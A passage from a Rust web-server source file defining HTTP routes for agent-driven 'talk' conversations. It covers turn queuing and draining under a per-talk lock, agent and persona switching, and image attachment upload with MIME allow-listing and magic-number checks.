6140            .map(TaskView::from)
6141            .collect();
6142        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6143        let roster = cfg
6144            .as_ref()
6145            .map(|cfg| {
6146                cfg.agents
6147                    .iter()
6148                    .map(|a| RosterEntry {
6149                        id: a.id.clone(),
6150                        kind: a.kind,
6151                        runnable: agent::installed(a),
6152                    })
6153                    .collect()
6154            })
6155            .unwrap_or_default();
6156        let specs = cfg
6157            .as_ref()
6158            .map(|cfg| cfg.talk.personas.clone())
6159            .unwrap_or_default();
6160        let personas = persona::catalog(&specs)
6161            .into_iter()
6162            .map(|p| PersonaEntry {
6163                id: p.id,
6164                name: p.name,
6165            })
6166            .collect();
6167        Ok(Json(TalkDetailView {
6168            view: TalkView::with_config(talk, thinking, cfg.as_ref()),
6169            tasks,
6170            roster,
6171            personas,
6172        }))
6173    })
6174    .await
6175}
6176
6177/// The body of `POST /api/talks/{id}/say`.
6178///
6179/// `attachments` names ids `POST /api/talks/{id}/attachments` already
6180/// returned - never bytes of its own - so a turn with no images just omits
6181/// the field, which is what an older front end still does.
6182#[derive(Debug, Default, Deserialize)]
6183#[serde(default, deny_unknown_fields)]
6184struct NewTalkTurn {
6185    text: String,
6186    attachments: Vec<String>,
6187}
6188
6189#[derive(Debug, Deserialize)]
6190#[serde(deny_unknown_fields)]
6191struct EditTalkPending {
6192    text: String,
6193    expected_text: String,
6194    expected_attachments: Vec<String>,
6195}
6196
6197#[derive(Debug, Deserialize)]
6198#[serde(deny_unknown_fields)]
6199struct ClearTalkPending {
6200    expected_text: String,
6201    expected_attachments: Vec<String>,
6202}
6203
6204/// `POST /api/talks/{id}/say` - one turn of the conversation.
6205///
6206/// Not filesystem work, and therefore not routed through [`blocking`]: this
6207/// route spawns an agent CLI and a turn here can run for the whole of
6208/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
6209/// research turn is expected to run commands rather than answer from what it
6210/// already knows. Holding an HTTP connection open that long is not a thing
6211/// to ask a phone to do; the operator's message is recorded and answered for
6212/// immediately, and the reply lands in the background, discovered through
6213/// the change stream's `talks_rev` the same way every other update on this
6214/// surface is.
6215async fn talk_say(
6216    State(ui): State<Arc<Ui>>,
6217    Path(id): Path<String>,
6218    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
6219) -> ApiResult<(StatusCode, Json<TalkView>)> {
6220    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6221    if body.text.trim().is_empty() && body.attachments.is_empty() {
6222        return Err(ApiError::bad_request("say something"));
6223    }
6224
6225    let id = {
6226        let ui = Arc::clone(&ui);
6227        let asked = id.clone();
6228        blocking(move || resolve_talk(&ui.talks, &asked)).await?
6229    };
6230    // A closed Talk never accepts a new immediate or queued turn. Check this
6231    // before claiming a slot so its ordinary domain refusal is a 409, not an
6232    // incidental failure from the later record/queue write.
6233    {
6234        let ui = Arc::clone(&ui);
6235        let id = id.clone();
6236        blocking(move || {
6237            let talk = ui.talks.get(&id)?;
6238            if !talk.status.open() {
6239                return Err(ApiError::conflict(format!(
6240                    "talk {} is {} and takes no more turns",
6241                    talk.short(),
6242                    talk.status.as_str()
6243                )));
6244            }
6245            Ok(())
6246        })
6247        .await?;
6248    }
6249
6250    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
6251    // actually stores, before anything is written - an unknown id is a 4xx
6252    // that names it rather than a turn (or a queued draft) silently missing
6253    // an image.
6254    let attachments = {
6255        let ui = Arc::clone(&ui);
6256        let id = id.clone();
6257        let ids = body.attachments.clone();
6258        blocking(move || {
6259            ids.into_iter()
6260                .map(|att_id| {
6261                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
6262                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
6263                    })
6264                })
6265                .collect::<ApiResult<Vec<talk::Attachment>>>()
6266        })
6267        .await?
6268    };
6269
6270    // Pending recovery and a new immediate turn are decided under the same
6271    // claim lock. Without that one critical section, a second `/say` can see
6272    // the first request's claim as "busy" and append itself to the recovered
6273    // draft before the first request rejects it.
6274    let start = {
6275        let ui = Arc::clone(&ui);
6276        let id = id.clone();
6277        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
6278    };
6279    let turn_guard = match start {
6280        TalkTurnStart::Claimed(turn_guard) => turn_guard,
6281        TalkTurnStart::Pending => {
6282            return Err(ApiError::conflict(
6283                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
6284            ));
6285        }
6286        TalkTurnStart::Foreign => {
6287            return Err(ApiError::conflict(
6288                "a turn is already running in another process; try again when it has finished",
6289            ));
6290        }
6291        TalkTurnStart::Busy => {
6292            // A turn is already running: queue rather than refuse. See
6293            // `Ui::begin_talk_turn` and `talk::queue`.
6294            //
6295            // The queue write and the drain it may owe live inside the task
6296            // `tokio::spawn` hands to the runtime, for the same reason the
6297            // immediate path below puts `record` there: a dropped handler
6298            // future must not be able to land between a durable write and
6299            // the task that answers it. `blocking` runs its closure on
6300            // `spawn_blocking`, which finishes whether or not anyone is left
6301            // to receive its result - so a disconnect at the `.await` below
6302            // would otherwise leave the draft persisted and the reclaimed
6303            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
6304            // ever started and the queued text stranded until some later
6305            // `say` happened to pick it up. The caller's 202 travels back
6306            // over a `oneshot`, sent the moment the write lands.
6307            let (tx, rx) = tokio::sync::oneshot::channel();
6308            tokio::spawn({
6309                let ui = Arc::clone(&ui);
6310                let id = id.clone();
6311                let said = body.text.clone();
6312                async move {
6313                    let written = blocking({
6314                        let ui = Arc::clone(&ui);
6315                        let id = id.clone();
6316                        move || {
6317                            let mut talk = ui.talks.get(&id)?;
6318                            // A test-only stop point, right before the write
6319                            // an interleaving test needs to pin - see
6320                            // `BusyQueueGate`. `None` in every real server:
6321                            // the field only exists under `#[cfg(test)]`.
6322                            #[cfg(test)]
6323                            if let Some(gate) = ui
6324                                .busy_queue_gate
6325                                .lock()
6326                                .unwrap_or_else(PoisonError::into_inner)
6327                                .take()
6328                            {
6329                                let _ = gate.reached.send(());
6330                                let _ = gate.release.recv();
6331                            }
6332                            if let Err(error) =
6333                                talk::queue(&mut talk, &ui.talks, &said, attachments)
6334                            {
6335                                if let Ok(fresh) = ui.talks.get(&id) {
6336                                    if !fresh.status.open() {
6337                                        return Err(ApiError::conflict(format!(
6338                                            "talk {} is {} and takes no more turns",
6339                                            fresh.short(),
6340                                            fresh.status.as_str()
6341                                        )));
6342                                    }
6343                                }
6344                                return Err(ApiError::from(error));
6345                            }
6346                            // The turn that looked busy a moment ago can have
6347                            // finished, found nothing to drain and given up the
6348                            // slot in the gap between that check and this write
6349                            // landing - see `drain_loop`'s own doc for the other
6350                            // half of why that gap would otherwise be able to
6351                            // open at all. Reclaiming the slot here, rather than
6352                            // trusting that whoever held it is still watching, is
6353                            // what stops the text just queued from being stranded
6354                            // until an unrelated future `say` happens to drain
6355                            // it.
6356                            let claim = match ui.begin_queued_talk_turn(&id)? {
6357                                Some(turn_guard) => {
6358                                    let (cfg, _) = Config::discover(&talk.repo, None)?;
6359                                    Some((talk.clone(), cfg, turn_guard))
6360                                }
6361                                None => None,
6362                            };
6363                            let thinking = ui.is_thinking(&id);
6364                            Ok((TalkView::new(talk, thinking), claim))
6365                        }
6366                    })
6367                    .await;
6368                    let (view, reclaimed) = match written {
6369                        Ok(pair) => pair,
6370                        Err(e) => {
6371                            // Nobody is listening if the handler's own future
6372                            // was already dropped - that is fine, nothing was
6373                            // persisted and there is no response left to carry
6374                            // this error to.
6375                            let _ = tx.send(Err(e));
6376                            return;
6377                        }
6378                    };
6379                    // If this fails, the caller is gone; the drain below still
6380                    // runs exactly as it would have for a caller that stayed.
6381                    let _ = tx.send(Ok(view));
6382                    if let Some((talk, cfg, turn_guard)) = reclaimed {
6383                        let talks = ui.talks.clone();
6384                        drain_loop(talk, talks, cfg, id, turn_guard).await;
6385                    }
6386                }
6387            });
6388            let view = rx
6389                .await
6390                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6391            return Ok((StatusCode::ACCEPTED, Json(view)));
6392        }
6393    };
6394
6395    let (talk, cfg) = {
6396        let ui = Arc::clone(&ui);
6397        let id = id.clone();
6398        blocking(move || {
6399            let talk = ui.talks.get(&id)?;
6400            let (cfg, _) = Config::discover(&talk.repo, None)?;
6401            Ok((talk, cfg))
6402        })
6403        .await?
6404    };
6405
6406    let talks = ui.talks.clone();
6407    // `record` runs *inside* the spawned task, rather than in this handler
6408    // followed by a separate `tokio::spawn` for `respond` - axum drops this
6409    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
6410    // doc), and that drop can land at any `.await` this function makes,
6411    // including one that has already produced its result but not yet
6412    // resumed. A message could end up recorded on disk with the handler
6413    // future gone before it ever reached the `tokio::spawn` that would have
6414    // started the reply. `tokio::spawn` itself is a plain, synchronous call
6415    // that hands the whole future to the runtime as one unit - once made, no
6416    // later drop of *this* handler's own future (that call's return value is
6417    // never held onto here) can reach back in and stop it, so record and the
6418    // hand-off to `respond` are unconditionally atomic from the client's
6419    // point of view. The immediate response this handler owes the caller
6420    // travels back over a `oneshot`, sent the moment `record` succeeds.
6421    let (tx, rx) = tokio::sync::oneshot::channel();
6422    tokio::spawn({
6423        let ui = Arc::clone(&ui);
6424        let talks = talks.clone();
6425        let id = id.clone();
6426        let said = body.text.clone();
6427        let mut talk = talk.clone();
6428        async move {
6429            let recorded = blocking({
6430                let talks = talks.clone();
6431                move || {
6432                    if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
6433                        if let Ok(fresh) = talks.get(&talk.id) {
6434                            if !fresh.status.open() {
6435                                return Err(ApiError::conflict(format!(
6436                                    "talk {} is {} and takes no more turns",
6437                                    fresh.short(),
6438                                    fresh.status.as_str()
6439                                )));
6440                            }
6441                        }
6442                        return Err(ApiError::from(error));
6443                    }
6444                    // `record` mutates `talk` in place to the freshly persisted
6445                    // state (status, pending, and the just-appended operator
6446                    // turn), so returning it here is equivalent to re-reading it
6447                    // from disk - without the extra round trip a re-read would
6448                    // need.
6449                    Ok((said.trim().to_owned(), talk))
6450                }
6451            })
6452            .await;
6453            let (text, mut talk) = match recorded {
6454                Ok(pair) => pair,
6455                Err(e) => {
6456                    // Nobody is listening if the handler's own future was
6457                    // already dropped - that is fine, there is no response
6458                    // left to carry this error to and nothing was persisted.
6459                    let _ = tx.send(Err(e));
6460                    return;
6461                }
6462            };
6463            let queued = talk.clone();
6464            let thinking = ui.is_thinking(&id);
6465            // If this fails, the caller is gone; the turn still runs below
6466            // exactly as it would have for a caller that stayed connected.
6467            let _ = tx.send(Ok((queued, thinking)));
6468
6469            if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
6470                // `respond` records the failure in the transcript itself,
6471                // which is what the phone reads; this line is for the
6472                // operator's terminal.
6473                tracing::warn!("talk {id} turn failed: {e:#}");
6474            }
6475            // Anything `talk::queue` added while the turn above was running
6476            // is still owed an answer - see `drain_loop`.
6477            drain_loop(talk, talks, cfg, id, turn_guard).await;
6478        }
6479    });
6480
6481    let (queued, thinking) = rx
6482        .await
6483        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6484
6485    // 202: the operator's message is recorded and a turn is running.
6486    Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
6487}
6488
6489/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
6490/// changing it. The turn guard is the same per-talk ownership `talk_say`
6491/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
6492async fn talk_pending_resume(
6493    State(ui): State<Arc<Ui>>,
6494    Path(id): Path<String>,
6495) -> ApiResult<(StatusCode, Json<TalkView>)> {
6496    let id = {
6497        let ui = Arc::clone(&ui);
6498        let asked = id.clone();
6499        blocking(move || resolve_talk(&ui.talks, &asked)).await?
6500    };
6501    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6502        return Err(ApiError::conflict(
6503            "a talk turn is already running; the queued draft will be handled by it",
6504        ));
6505    };
6506    let (talk, cfg) = {
6507        let ui = Arc::clone(&ui);
6508        let id = id.clone();
6509        blocking(move || {
6510            let talk = ui.talks.get(&id)?;
6511            if !talk.status.open() {
6512                return Err(ApiError::conflict(format!(
6513                    "talk {} is {} and takes no more turns",
6514                    talk.short(),
6515                    talk.status.as_str()
6516                )));
6517            }
6518            if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
6519                return Err(ApiError::conflict("there is no queued draft to resume"));
6520            }
6521            let (cfg, _) = Config::discover(&talk.repo, None)?;
6522            Ok((talk, cfg))
6523        })
6524        .await?
6525    };
6526    let view = TalkView::new(talk.clone(), true);
6527    let talks = ui.talks.clone();
6528    tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6529    Ok((StatusCode::ACCEPTED, Json(view)))
6530}
6531
6532/// Drain [`talk::Talk::pending`] one turn at a time until nothing is left,
6533/// releasing `turn` only once a check finds it truly empty. Shared by both
6534/// callers that can end up owning a talk's turn slot with something already
6535/// queued for it: `talk_say`'s normal path, after its own `talk::respond`
6536/// call, and `talk_say`'s busy path, when it reclaims a slot the previous
6537/// holder just gave up - see the comment at that call site.
6538///
6539/// The release is folded into the final generation check under `turn`'s own
6540/// lock - the same lock [`Ui::begin_talk_turn`] takes to decide "busy or
6541/// free". Before its blocking `talk::drain`, this loop observes the queued
6542/// generation. A `say` that sees the turn busy writes its draft, then advances
6543/// that generation. Thus, if it lands while the drain is in flight, the final
6544/// check observes the advance and drains again; otherwise it releases the
6545/// claim while holding the same lock. This keeps the release/arrival handoff
6546/// atomic without holding the global claim mutex across filesystem I/O.
6547async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
6548    let live_set = Arc::clone(&turn.turns);
6549    // `Option` rather than binding `turn` directly to a `_turn` that lives
6550    // for the whole function: releasing it has to happen by calling
6551    // `TalkTurnGuard::release` from inside the locked branch below, which
6552    // takes `self` by value. Left as a plain drop instead, `Drop` would still
6553    // remove the id - correctly, if this loop is ever left some other way -
6554    // but doing it there misses the lock this loop is already holding, which
6555    // is the exact gap `release` exists to close.
6556    let mut turn = Some(turn);
6557    loop {
6558        if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
6559            // The lease was taken over while a turn ran. Whatever is queued
6560            // stays a draft; running it here would race the new owner.
6561            tracing::warn!("talk {id} lost its turn lease; not draining further");
6562            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6563            if let Some(turn) = turn.take() {
6564                turn.release(&mut live);
6565            }
6566            break;
6567        }
6568        // `talk::drain` takes the store lock and can write/rename the talk
6569        // file. Keep the turn mutex out of that synchronous work: it protects
6570        // every talk's in-memory claim, not this talk's disk operation.
6571        let observed = live_set
6572            .lock()
6573            .unwrap_or_else(PoisonError::into_inner)
6574            .queued
6575            .get(&id)
6576            .copied()
6577            .unwrap_or(0);
6578        let drained = blocking({
6579            let talks = talks.clone();
6580            move || {
6581                let result = talk::drain(&mut talk, &talks);
6582                Ok((talk, result))
6583            }
6584        })
6585        .await;
6586        let (next_talk, result) = match drained {
6587            Ok(drained) => drained,
6588            Err(e) => {
6589                tracing::warn!(
6590                    status = %e.status,
6591                    message = %e.message,
6592                    "talk {id} could not start queued-text drain"
6593                );
6594                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6595                turn.take()
6596                    .expect("held for the whole loop until released here")
6597                    .release(&mut live);
6598                break;
6599            }
6600        };
6601        talk = next_talk;
6602        let drained = match result {
6603            Ok(Some(drained)) => drained,
6604            Ok(None) => {
6605                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6606                if live.queued.get(&id).copied().unwrap_or(0) != observed {
6607                    continue;
6608                }
6609                turn.take()
6610                    .expect("held for the whole loop until released here")
6611                    .release(&mut live);
6612                break;
6613            }
6614            Err(e) => {
6615                tracing::warn!("talk {id} could not drain queued text: {e:#}");
6616                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6617                turn.take()
6618                    .expect("held for the whole loop until released here")
6619                    .release(&mut live);
6620                break;
6621            }
6622        };
6623        let responded = match turn.as_ref() {
6624            Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
6625            None => Err(anyhow::anyhow!("the turn guard was released")),
6626        };
6627        if let Err(e) = responded {
6628            tracing::warn!("talk {id} turn failed: {e:#}");
6629        }
6630    }
6631}
6632
6633/// Clear a queued draft only if it remains exactly the one the caller saw.
6634async fn talk_pending_clear(
6635    State(ui): State<Arc<Ui>>,
6636    Path(id): Path<String>,
6637    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
6638) -> ApiResult<Json<TalkView>> {
6639    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6640    blocking(move || {
6641        let id = resolve_talk(&ui.talks, &id)?;
6642        let mut talk = ui.talks.get(&id)?;
6643        if !talk.status.open() {
6644            return Err(ApiError::conflict(format!(
6645                "talk {} is {} and takes no more turns",
6646                talk.short(),
6647                talk.status.as_str()
6648            )));
6649        }
6650        if !talk::clear_pending_if_matches(
6651            &mut talk,
6652            &ui.talks,
6653            &body.expected_text,
6654            &body.expected_attachments,
6655        )? {
6656            return Err(ApiError::conflict(
6657                "queued message changed; reload it before clearing",
6658            ));
6659        }
6660        let thinking = ui.is_thinking(&talk.id);
6661        Ok(Json(TalkView::new(talk, thinking)))
6662    })
6663    .await
6664}
6665
6666/// Atomically edit a queued draft's text while preserving its attachments.
6667/// The snapshot fields make a concurrent queue or drain a conflict rather
6668/// than silently discarding either message.
6669async fn talk_pending_edit(
6670    State(ui): State<Arc<Ui>>,
6671    Path(id): Path<String>,
6672    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
6673) -> ApiResult<Json<TalkView>> {
6674    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6675    let (view, reclaimed) = blocking({
6676        let ui = Arc::clone(&ui);
6677        move || {
6678            let id = resolve_talk(&ui.talks, &id)?;
6679            let mut talk = ui.talks.get(&id)?;
6680            if !talk.status.open() {
6681                return Err(ApiError::conflict(format!(
6682                    "talk {} is {} and takes no more turns",
6683                    talk.short(),
6684                    talk.status.as_str()
6685                )));
6686            }
6687            if !talk::edit_pending_text(
6688                &mut talk,
6689                &ui.talks,
6690                &body.text,
6691                &body.expected_text,
6692                &body.expected_attachments,
6693            )? {
6694                return Err(ApiError::conflict(
6695                    "queued message changed; reload it before editing",
6696                ));
6697            }
6698            let claim = match ui.begin_queued_talk_turn(&id)? {
6699                Some(turn_guard) => {
6700                    let (cfg, _) = Config::discover(&talk.repo, None)?;
6701                    Some((talk.clone(), cfg, id.clone(), turn_guard))
6702                }
6703                None => None,
6704            };
6705            let thinking = ui.is_thinking(&id);
6706            Ok((TalkView::new(talk, thinking), claim))
6707        }
6708    })
6709    .await?;
6710    if let Some((talk, cfg, id, turn_guard)) = reclaimed {
6711        let talks = ui.talks.clone();
6712        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6713    }
6714    Ok(Json(view))
6715}
6716
6717/// The body of `POST /api/talks/{id}/agent`.
6718#[derive(Debug, Deserialize)]
6719struct TalkAgent {
6720    agent: String,
6721}
6722
6723/// `POST /api/talks/{id}/agent` - hand the conversation to another roster
6724/// agent. Holds the talk's turn guard for the whole switch so a `/say` cannot
6725/// start a turn on the old session between the check and the write; one that
6726/// arrives in that window finds the talk busy and becomes a draft.
6727async fn talk_agent(
6728    State(ui): State<Arc<Ui>>,
6729    Path(id): Path<String>,
6730    Json(body): Json<TalkAgent>,
6731) -> ApiResult<Json<TalkView>> {
6732    let id = {
6733        let ui = Arc::clone(&ui);
6734        blocking(move || resolve_talk(&ui.talks, &id)).await?
6735    };
6736    let repo = {
6737        let ui = Arc::clone(&ui);
6738        let id = id.clone();
6739        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
6740    };
6741    let cfg = config_for(&repo).await?;
6742    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6743        return Err(ApiError::conflict(
6744            "a talk turn is running; change the agent once it has answered",
6745        ));
6746    };
6747    let switched = {
6748        let ui = Arc::clone(&ui);
6749        let id = id.clone();
6750        let cfg = cfg.clone();
6751        blocking(move || {
6752            let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
6753                .map_err(ApiError::bad_request_from)?;
6754            let mut talk = ui.talks.get(&id)?;
6755            if !talk.status.open() {
6756                return Err(ApiError::conflict(format!(
6757                    "talk {} is {} and takes no more turns",
6758                    talk.short(),
6759                    talk.status.as_str()
6760                )));
6761            }
6762            talk::switch_agent(&mut talk, &ui.talks, &spec)?;
6763            Ok(talk)
6764        })
6765        .await
6766    };
6767    // A `/say` that landed while this held the claim saw the talk busy and
6768    // left a durable draft, trusting the claim's owner to drain it. So the
6769    // claim goes to `drain_loop` whatever the outcome - it releases at once
6770    // when nothing is queued - rather than being dropped here.
6771    let fresh = {
6772        let ui = Arc::clone(&ui);
6773        let id = id.clone();
6774        blocking(move || Ok(ui.talks.get(&id)?)).await
6775    };
6776    let draining = match fresh {
6777        Ok(talk) => {
6778            let draining = talk.status.open()
6779                && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
6780            let talks = ui.talks.clone();
6781            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6782            draining
6783        }
6784        Err(_) => false,
6785    };
6786    let talk = switched?;
6787    Ok(Json(TalkView::new(talk, draining)))
6788}
6789
6790/// The body of `POST /api/talks/{id}/persona`.
6791#[derive(Debug, Deserialize)]
6792struct TalkPersona {
6793    persona: String,
6794}
6795
6796/// `POST /api/talks/{id}/persona` - choose the conversation's tone. Shaped
6797/// like [`talk_agent`]: the turn guard is held for the change and always handed
6798/// to `drain_loop`, so a draft left meanwhile is not stranded.
6799async fn talk_persona(
6800    State(ui): State<Arc<Ui>>,
6801    Path(id): Path<String>,
6802    Json(body): Json<TalkPersona>,
6803) -> ApiResult<Json<TalkView>> {
6804    let id = {
6805        let ui = Arc::clone(&ui);
6806        blocking(move || resolve_talk(&ui.talks, &id)).await?
6807    };
6808    let repo = {
6809        let ui = Arc::clone(&ui);
6810        let id = id.clone();
6811        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
6812    };
6813    let cfg = config_for(&repo).await?;
6814    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6815        return Err(ApiError::conflict(
6816            "a talk turn is running; change the persona once it has answered",
6817        ));
6818    };
6819    let switched = {
6820        let ui = Arc::clone(&ui);
6821        let id = id.clone();
6822        let cfg = cfg.clone();
6823        blocking(move || {
6824            let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
6825                return Err(ApiError::bad_request(format!(
6826                    "unknown persona `{}`",
6827                    body.persona
6828                )));
6829            };
6830            let mut talk = ui.talks.get(&id)?;
6831            if !talk.status.open() {
6832                return Err(ApiError::conflict(format!(
6833                    "talk {} is {} and takes no more turns",
6834                    talk.short(),
6835                    talk.status.as_str()
6836                )));
6837            }
6838            talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
6839            Ok(talk)
6840        })
6841        .await
6842    };
6843    // As in `talk_agent`: the claim goes to `drain_loop` whatever happened.
6844    let fresh = {
6845        let ui = Arc::clone(&ui);
6846        let id = id.clone();
6847        blocking(move || Ok(ui.talks.get(&id)?)).await
6848    };
6849    let draining = match fresh {
6850        Ok(talk) => {
6851            let draining = talk.status.open()
6852                && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
6853            let talks = ui.talks.clone();
6854            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6855            draining
6856        }
6857        Err(_) => false,
6858    };
6859    let talk = switched?;
6860    Ok(Json(TalkView::new(talk, draining)))
6861}
6862
6863/// `POST /api/talks/{id}/close`.
6864async fn talk_close(
6865    State(ui): State<Arc<Ui>>,
6866    Path(id): Path<String>,
6867) -> ApiResult<Json<TalkView>> {
6868    blocking(move || {
6869        let id = resolve_talk(&ui.talks, &id)?;
6870        let mut talk = ui.talks.get(&id)?;
6871        talk::close(&mut talk, &ui.talks)?;
6872        let thinking = ui.is_thinking(&talk.id);
6873        Ok(Json(TalkView::new(talk, thinking)))
6874    })
6875    .await
6876}
6877
6878/// `POST /api/talks/{id}/reopen`.
6879async fn talk_reopen(
6880    State(ui): State<Arc<Ui>>,
6881    Path(id): Path<String>,
6882) -> ApiResult<Json<TalkView>> {
6883    blocking(move || {
6884        let id = resolve_talk(&ui.talks, &id)?;
6885        let mut talk = ui.talks.get(&id)?;
6886        talk::reopen(&mut talk, &ui.talks)?;
6887        let thinking = ui.is_thinking(&talk.id);
6888        Ok(Json(TalkView::new(talk, thinking)))
6889    })
6890    .await
6891}
6892
6893/// `DELETE /api/talks/{id}`.
6894///
6895/// Removes the conversation's record and artifacts outright, unlike
6896/// [`talk_close`] which keeps the record as history. A turn already in
6897/// flight is not refused here the way [`run_delete`] refuses a live run:
6898/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
6899/// under [`Talks::guard`], that the record they are about to write back is
6900/// still there, so a delete racing a turn is safe without this route having
6901/// to know a turn is running at all.
6902async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
6903    blocking(move || {
6904        let id = resolve_talk(&ui.talks, &id)?;
6905        ui.talks.remove(&id)?;
6906        Ok(StatusCode::NO_CONTENT)
6907    })
6908    .await
6909}
6910
6911/// Expand an id or short id to exactly one talk id.
6912fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
6913    pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
6914}
6915
6916/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
6917/// future `talk-say`.
6918async fn talk_attachment_post(
6919    State(ui): State<Arc<Ui>>,
6920    Path(id): Path<String>,
6921    headers: HeaderMap,
6922    body: Bytes,
6923) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
6924    let mime = validate_attachment(&headers, &body)?;
6925    let name = filename_header(&headers);
6926    let data = body.to_vec();
6927    blocking(move || {
6928        let id = resolve_talk(&ui.talks, &id)?;
6929        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
6930        Ok((StatusCode::CREATED, Json(att)))
6931    })
6932    .await
6933}
6934
6935/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
6936/// `<img>` tag in the transcript.
6937async fn talk_attachment_get(
6938    State(ui): State<Arc<Ui>>,
6939    Path((id, att)): Path<(String, String)>,
6940) -> ApiResult<Response> {
6941    blocking(move || {
6942        let id = resolve_talk(&ui.talks, &id)?;
6943        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
6944            return Err(ApiError::not_found(format!(
6945                "talk {id} has no attachment `{att}`"
6946            )));
6947        };
6948        Ok(attachment_response(&meta.mime, data))
6949    })
6950    .await
6951}
6952
6953/// Validate an attachment upload's declared `Content-Type` and the bytes
6954/// themselves, returning the canonical mime on success.
6955///
6956/// Two checks, both required: the header has to name one of
6957/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
6958/// simply never in the list, active content rather than a picture, the same
6959/// exclusion [`asset_content_type`]'s doc explains), and the file's own
6960/// magic number has to agree. The second is what stops a mislabeled upload -
6961/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
6962/// a declared type is a claim, not a fact, so it is never trusted alone.
6963fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
6964    if data.len() > ATTACHMENT_MAX_BYTES {
6965        return Err(ApiError::bad_request(format!(
6966            "attachment is {} bytes, over the {} MiB limit",
6967            data.len(),
6968            ATTACHMENT_MAX_BYTES / (1024 * 1024)
6969        ))
6970        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
6971    }
6972    if data.is_empty() {
6973        return Err(ApiError::bad_request("attachment is empty"));
6974    }
6975    let declared = declared_mime(headers)?;
6976    match sniffed_mime(data) {
6977        Some(sniffed) if sniffed == declared => Ok(declared),
6978        Some(sniffed) => Err(ApiError::bad_request(format!(
6979            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
6980        ))),
6981        None => Err(ApiError::bad_request(
6982            "the file's bytes do not match any accepted image format",
6983        )),
6984    }
6985}
6986
6987/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
6988/// and nothing else - parameters like `; charset=` are stripped, but the
6989/// value itself is not otherwise interpreted.
6990fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
6991    let raw = headers
6992        .get(header::CONTENT_TYPE)
6993        .and_then(|v| v.to_str().ok())
6994        .unwrap_or("")
6995        .split(';')
6996        .next()
6997        .unwrap_or("")
6998        .trim()
6999        .to_ascii_lowercase();
7000    ATTACHMENT_MIME_WHITELIST
7001        .iter()
7002        .find(|&&m| m == raw)
7003        .copied()
7004        .ok_or_else(|| {
7005            if raw == "image/svg+xml" {
7006                ApiError::bad_request(
7007                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
7008                     not just a picture",
7009                )
7010            } else if raw.is_empty() {
7011                ApiError::bad_request("Content-Type is required for an attachment upload")
7012            } else {
7013                ApiError::bad_request(format!(
7014                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
7015                     image/gif or image/webp"
7016                ))
7017            }
7018        })
7019}
7020
7021/// Identify an image by its magic number, independent of whatever
7022/// `Content-Type` claimed.
7023fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
7024    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
7025        Some("image/png")
7026    } else if data.starts_with(b"\xff\xd8\xff") {
7027        Some("image/jpeg")
7028    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
7029        Some("image/gif")
7030    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
